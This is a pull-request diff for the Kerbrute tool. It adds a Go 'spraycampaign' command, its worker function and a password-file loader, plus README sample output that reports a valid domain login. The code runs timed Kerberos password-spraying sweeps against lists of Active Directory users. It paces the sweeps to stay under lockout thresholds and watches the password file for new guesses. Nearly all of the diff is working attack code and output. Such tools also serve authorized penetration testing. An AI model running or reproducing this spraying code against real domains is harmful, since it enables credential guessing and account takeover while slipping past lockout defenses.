Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
29 changes: 29 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -116,6 +116,35 @@ Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:37:37 > Done! Tested 2755 logins (2 successes) in 7.674 seconds
```

### Spray Campaign
With `spraycampaign`, Kerbrute will perform an attack similar to the
`passwordspray` command, however a list of passwords can be provided. A specified
number of passwords from the provided list will be sprayed against all users
in the provided user wordlist every X minutes, as specified.
Added by [@deadjakk](https://github.com/deadjakk)
```
root@kali:~# ./kerbrute spraycampaign -d sprawl.local users.txt pass.txt 1 2

__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/

Version: dev (n/a) - 05/31/21 - Ronnie Flathers @ropnop

2021/05/31 14:48:21 > Using KDC(s):
2021/05/31 14:48:21 > DC0.sprawl.local:88

2021/05/31 14:48:21 > Spraying password: Password3
2021/05/31 14:48:21 > Spraying password: Password2
2021/05/31 14:48:21 > Sleeping for 1 minutes until next sweep

2021/05/31 14:49:21 > Spraying password: Password1
2021/05/31 14:49:21 > [+] VALID LOGIN: [email protected]:Password1
2021/05/31 14:49:21 > Done! Tested 12 logins (1 successes) in 60.073 seconds
```

### Brute User
This is a traditional bruteforce account against a username. Only run this if you are sure there is no lockout policy! This will generate both event IDs [4768 - A Kerberos authentication ticket (TGT) was requested](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) and [4771 - Kerberos pre-authentication failed](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771)

Expand Down
157 changes: 157 additions & 0 deletions cmd/spraycampaign.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,157 @@
package cmd

import (
"bufio"
"os"
"sync"
"sync/atomic"
"time"
"strconv"
"fmt"

"github.com/ropnop/kerbrute/util"

"github.com/spf13/cobra"
)

var sprayCampaignCmd = &cobra.Command{
Use: "spraycampaign [flags] <username_wordlist> <password_wordlist> <time in MINUTES between sweeps> <number of passwords per sweep>",
Short: "Tests X passwords from a provided list of passwords every X minute(s) against a list of usernames",
Long: `Will perform a password spray attack against a list of users, iterating through a list of passwords. This is much like the passwordspray
command, however it allows for a specified delay between every X number of passwords per sweep time.
This is Intended to allow for automated password spraying campaigns to take place without fear of locking out accounts while alleviating the need
to keep restarting the spray with a new password.
Like passwordspray, this is using Kerberos Pre-Authentication by requesting a TGT from the KDC.
If no domain controller is specified, the tool will attempt to look one up via DNS SRV records.
A full domain is required. This domain will be capitalized and used as the Kerberos realm when attempting the bruteforce.
Succesful logins will be displayed on stdout.
Consider adding an additional minute or more to the domain password policy to prevent lockouts.
Any new passwords can be added to the provided password file after starting kerbrute, the provided file will be checked for
any new passwords at the end of every password sweep.
WARNING: use with caution - failed Kerberos pre-auth can cause account lockouts.
Added by [email protected]
`,
Args: cobra.MinimumNArgs(4),
PreRun: setupSession,
Run: sprayCampaign,
}

func init() {
sprayCampaignCmd.Flags().BoolVar(&userAsPass, "user-as-pass", false, "Spray every account with the username as the password")
rootCmd.AddCommand(sprayCampaignCmd)

}

func sprayCampaign(cmd *cobra.Command, args []string) {
if len(args) != 4 {
logger.Log.Error("You must specify a passfile containing passwords as well as the time between sweeps in millis and then the number of passwords per sweep")
os.Exit(1)
}
usernamelist := args[0]
passwordfile := args[1]
campaigndelay := args[2]
maxpersweep := args[3]

maxPerSweep,err := strconv.Atoi(maxpersweep)
if err!=nil {
logger.Log.Error(err.Error())
return
}

campaignDelay,err := strconv.Atoi(campaigndelay)
if err!=nil {
logger.Log.Error(err.Error())
return
}

stopOnSuccess = false

credChan := make(chan [2]string, threads)
defer cancel()

var wg sync.WaitGroup
wg.Add(threads)

var scanner *bufio.Scanner
if usernamelist != "-" {
file, err := os.Open(usernamelist)
if err != nil {
logger.Log.Error(err.Error())
return
}
defer file.Close()
scanner = bufio.NewScanner(file)
} else {
scanner = bufio.NewScanner(os.Stdin)
}

for i := 0; i < threads; i++ {
go makeSprayWorkerCampaign(ctx, credChan, &wg, userAsPass)
}

start := time.Now()

var passwords_to_try []string
var passwords_tried []string

// read passwords and updates the list
passwords_to_try,err = util.GetPasswords(passwordfile,passwords_to_try,passwords_tried,false,&logger)

if err != nil {
logger.Log.Error(err.Error())
return
}

if len(passwords_to_try) == 0 {
logger.Log.Error("[-] No passwords present in provided file")
return
} else {
logger.Log.Debugf("[*] %d Passwords loaded",len(passwords_to_try))
}
// read the usernames
var usernames []string
for scanner.Scan() {
usernameline := scanner.Text()
username, err := util.FormatUsername(usernameline)
if err != nil {
logger.Log.Debugf("[!] %q - %v", usernameline, err.Error())
continue
}
usernames=append(usernames,username)
}

triedThisSweep := 0
//for _,password := range passwords_to_try {
for {
password, passwords_to_try = passwords_to_try[0], passwords_to_try[1:]
logger.Log.Infof("[*] Spraying password: %s",password)
for _,username := range usernames {
cred := [2]string{username,password}
credChan <- cred
passwords_tried=append(passwords_tried,password)
time.Sleep(time.Duration(delay) * time.Millisecond)
}
triedThisSweep++
// updates any new passwords that have been added to the file
passwords_to_try,err = util.GetPasswords(passwordfile,passwords_to_try,passwords_tried,true,&logger)
if len (passwords_to_try) == 0 {
break
}
if triedThisSweep >= maxPerSweep {
triedThisSweep = 0
logger.Log.Info(fmt.Sprintf("[*] Sleeping for %d minutes until next sweep\n",campaignDelay))
time.Sleep(time.Duration(campaignDelay) * (time.Millisecond * 1000 * 60))
}
}

close(credChan)
wg.Wait()

finalCount := atomic.LoadInt32(&counter)
finalSuccess := atomic.LoadInt32(&successes)
logger.Log.Infof("[*] Done! Tested %d logins (%d successes) in %.3f seconds", finalCount, finalSuccess, time.Since(start).Seconds())

if err := scanner.Err(); err != nil {
logger.Log.Error(err.Error())
}
}
37 changes: 26 additions & 11 deletions cmd/worker.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,22 +8,37 @@ import (
)

func makeSprayWorker(ctx context.Context, usernames <-chan string, wg *sync.WaitGroup, password string, userAsPass bool) {
defer wg.Done()
for {
select {
case <-ctx.Done():
break
case username, ok := <-usernames:
if !ok {
return
}
if userAsPass {
testLogin(ctx, username, username)
} else {
testLogin(ctx, username, password)
}
}
}
}

func makeSprayWorkerCampaign(ctx context.Context, cred_set <-chan [2]string, wg *sync.WaitGroup, userAsPass bool) {
defer wg.Done()
for {
select {
case <-ctx.Done():
break
case username, ok := <-usernames:
if !ok {
return
}
if userAsPass {
testLogin(ctx, username, username)
} else {
testLogin(ctx, username, password)
}
}
}
case cred, ok := <-cred_set:
if !ok {
return
}
testLogin(ctx, cred[0], cred[1])
}
}
}

func makeBruteWorker(ctx context.Context, passwords <-chan string, wg *sync.WaitGroup, username string) {
Expand Down
3 changes: 3 additions & 0 deletions session/errors.go
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,9 @@ func (k KerbruteSession) HandleKerbError(err error) (bool, string) {
if strings.Contains(eString, "KDC_ERR_WRONG_REALM") {
return false, "KDC ERROR - Wrong Realm. Try adjusting the domain? Aborting..."
}
if strings.Contains(eString, "KDC_ERR_ETYPE_NOSUPP") {
return true, "KDC ERROR - KDC Encryption Type Not Supported"
}
if strings.Contains(eString, "KDC_ERR_C_PRINCIPAL_UNKNOWN") {
return true, "User does not exist"
}
Expand Down
41 changes: 41 additions & 0 deletions util/file.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
package util

import (
"os"
"bufio"
)


// reads passwords from file and adds them to the current array if
// they are not in the tried array
func GetPasswords(passwordfile string, current []string, tried []string, verbose bool, logger *Logger) (array []string, err error) {
// read passwords
var password_scanner *bufio.Scanner

passfile, err := os.Open(passwordfile)
if err != nil {
return []string{}, err
}
defer passfile.Close()

password_scanner = bufio.NewScanner(passfile)
for password_scanner.Scan() {
passwordline := password_scanner.Text()
if !is_present(current,passwordline) && !is_present(tried,passwordline) {
current=append(current,passwordline)
if verbose {
logger.Log.Infof("[*] %s loaded\n",passwordline)
}
}
}
return current,nil
}

func is_present(arr []string, val string) bool {
for _, item := range arr {
if item == val {
return true
}
}
return false
}